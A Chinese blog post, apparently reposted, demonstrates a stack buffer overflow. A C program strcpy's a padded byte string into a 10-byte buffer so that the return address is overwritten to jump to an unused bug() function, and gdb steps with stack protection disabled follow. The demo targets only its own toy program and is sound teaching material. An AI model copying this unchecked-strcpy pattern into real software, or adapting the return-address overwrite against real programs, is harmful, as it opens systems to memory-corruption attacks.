码迷,mamicode.com
首页 > 其他好文 > 详细

缓冲区溢出攻击

时间:2015-04-28 12:14:29      阅读:119      评论:0      收藏:0      [点我收藏+]

标签:

技术分享

攻击代码:

#include "stdio.h"
#include "string.h"
char code[]=
"\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41"
"\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41"  // two more added
"\xbe\x05\x40\x00" // bug address
"\x00";
 
void copy(const char *input)
{
  char buf[10];
  strcpy(buf,input);
  printf("%s \n",buf);
}
 
void bug(void)
{
  printf("I shouldn’t have appeared\n");
}
 
int main(int argc,char *argv[])
{
  copy(code);
  return 0;
}

攻击过程:

1 关闭栈保护编译打开gdb:

技术分享

2 在strcpy和printf两行都设置断点,运行,查看rsp寄存器的值,找到strcpy所在的地址。

 技术分享

3 运行后查看,此时变为了bug的地址。

技术分享


 

4 运行程序,达到攻击目的

 技术分享


参考资料:

http://os.it168.com/a2009/0530/1059/000001059910.shtml

http://blog.csdn.net/liigo/article/details/582231

http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/



缓冲区溢出攻击

标签:

原文地址:http://my.oschina.net/u/2348884/blog/407060

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!